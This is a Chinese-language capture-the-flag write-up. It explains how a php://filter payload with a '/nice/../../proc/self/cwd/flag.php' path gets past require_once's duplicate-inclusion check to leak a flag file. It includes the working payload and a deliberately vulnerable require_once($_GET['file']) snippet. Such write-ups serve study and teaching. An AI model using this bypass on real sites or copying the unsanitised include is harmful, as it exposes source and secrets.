当时这个题出现了一个这样的非预期解
?file=php://filter/convert.base64-encode/resource=/nice/../../proc/self/cwd/flag.php
以及这样回失败
?file=php://filter/convert.base64-encode/resource=/proc/self/cwd/flag.php
这里涉及php这样的一个trunk,我是调试源码发现的
环境配置
unsucess.php
<?php
include "flag.php";
require_once("php://filter/convert.base64-encode/resource=/proc/self/cwd/flag.php");
flag.php
随便写
sucess.php
<?php
include "flag.php";
require_once("php://filter/convert.base64-encode/resource=/nice/../../proc/self/cwd/flag.php");
/proc介绍
首先我们可以了解一下关于/proc/这个目录 /proc/self是一个关于当前进程信息保存的一个目录 那么我怎么去查看呢,首先我们写这样的一个循环
php unsucess.php |sleep 10000
然后
此时对应的self就是26097 我们
cd /proc/26097
可以看到cwd链接到了我们的工作路径 这个时候由于我们相当于是链接到了主目录如果主目录删除了flag.php,这里面也会没有 同时这个时候如果直接require_once相当于会重复包含,所以导致我们之前如果直接通过绝对路径解析就会出现错误
他们做路径解析的时候 最后都会过滤到resource这个地方 第一个是这样的
/nice/../../proc/self/cwd/flag.php
第二个是这样的
/proc/self/cwd/flag.php
然后他们回尝试去本地解析这个,由于第二个是符号链接,他会解析到对应于我们index.php的flag.php,而第一个解析失败就是当前路径了
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
$a=($_GET['file']);
require_once($a);
}
而题目源码这里是require_once 所以最后相当于
#第一个 require_once(''/nice/../../proc/self/cwd/flag.php);
#第二个 require_once('flag.php');
那么可想而知,由于/proc/self/cwd/存在当前文件的cp,同时这个不算重复包含 而由于第二个在最后requre_once重复引用就挂掉了
|